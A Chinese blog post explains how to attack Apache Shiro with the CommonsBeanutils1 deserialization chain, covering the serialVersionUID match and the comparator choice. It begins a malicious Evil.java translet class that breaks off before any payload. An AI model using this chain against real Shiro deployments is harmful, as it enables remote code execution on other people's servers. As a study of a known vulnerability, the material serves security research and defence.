CommonsBeanutils1反序列化链在Shiro中的利用

本文介绍了如何在Shiro中利用CommonsBeanutils1的反序列化链进行攻击。由于Shiro默认依赖Commons-Beanutils1.8.3,攻击者可以构造特定的payload来绕过服务器端的serialVersionUID检查。关键点包括找到合适的Comparator类(如CaseInsensitiveComparator)来配合BeanComparator,并确保所有涉及的类版本与Shiro中的一致。通过 Evil.java 和 PayloadDemo04.java 的示例,展示了具体的攻击payload构造过程。

摘要生成于 C知道 ,由 DeepSeek-R1 满血版支持, 前往体验 >

CommonsBeanutils1反序列化链在Shiro中的利用

前面分析Shiro550的时候,利用的是commons-collections进行构造反序列化链,但是commons-collections是我们手动加进去的,如果Shiro没有commons-collections链呢,这时候该怎么办?这时候CommonsBeanutils1反序列化链就派上用场了!

Shiro是默认依赖Commons-Beanutils1.8.3的,那么就可以利用CommonsBeanutils1反序列化链进行构造payload

注意点

此处要注意的是,反序列化时会计算 服务器端反序列化对应类的serialVersionUID 值跟序列化数据里面的 serialVersionUID 值进行比对,如果一样则可以完成反序列化,不一样则会抛出错误,Shiro依赖的版本是Commons-Beanutils1.8.3,所以为了保证serialVersionUID值一样构造payload时也用Commons-Beanutils1.8.3版本

第二个注意点,CommonsBeanutils1链用到的BeanComparator类的构造方法参数为空时,则会使用到ComparableComparator.getInstance()

image-20211204230924656

注意到ComparableComparator类是属于commons-collections依赖的,在Shiro中默认包含一部分commons-collections的类,但是不完全,比如就没有包含ComparableComparator类。那么就需要实例化BeanComparator类时填写第二个参数,第二个参数是Comparator类型的,所以我们要找一个实现Comparator和Serializable接口的类,且这个内是内置在java、Commons-Beanutils或者Shiro中的,这里用到的是CaseInsensitiveComparator类,这个类是内置在java的String类中的,可以通过String.CASE_INSENSITIVE_ORDER方法获取

构造payload

根据前面的分析,就可以得出CommonsBeanutils1反序列化链攻击Shiro的payload了

Evil.java

package org.apache.shiro.test;

import com.sun.org.apache.xalan.internal.xsltc.DOM;
import com.sun.org.apache.xalan.internal.xsltc.TransletException;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;
import com.sun.org.apache.xml.internal.serializer.SerializationHandler;

import java.io.IOException;

public class Evil extends AbstractTranslet {
   
   
    @Override
    public void transform(DOM document, SerializationHandler[] handlers) throws TransletException {
   
    }
    @Override
    public void transform(DOM document, DT
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值